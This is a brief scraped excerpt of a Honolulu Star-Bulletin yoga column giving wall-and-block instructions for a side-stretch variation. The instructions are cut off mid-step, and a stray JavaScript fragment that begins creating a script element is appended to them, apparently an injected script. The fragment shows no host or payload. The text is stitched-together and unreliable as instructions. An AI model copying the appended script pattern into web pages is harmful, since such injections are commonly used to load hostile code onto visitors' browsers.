Yoga For You – Honolulu Star-Bulletin

Stage 2 (with foot block) » In this variation, the wall is used to lengthen and open the side of the trunk. 1. Place your mat against the wall. 2. Tilt the yoga block at a 45-degree angle against the wall. Check that it is stable. 3. Placing the …var d=document;var s=d.createElement(‘script’);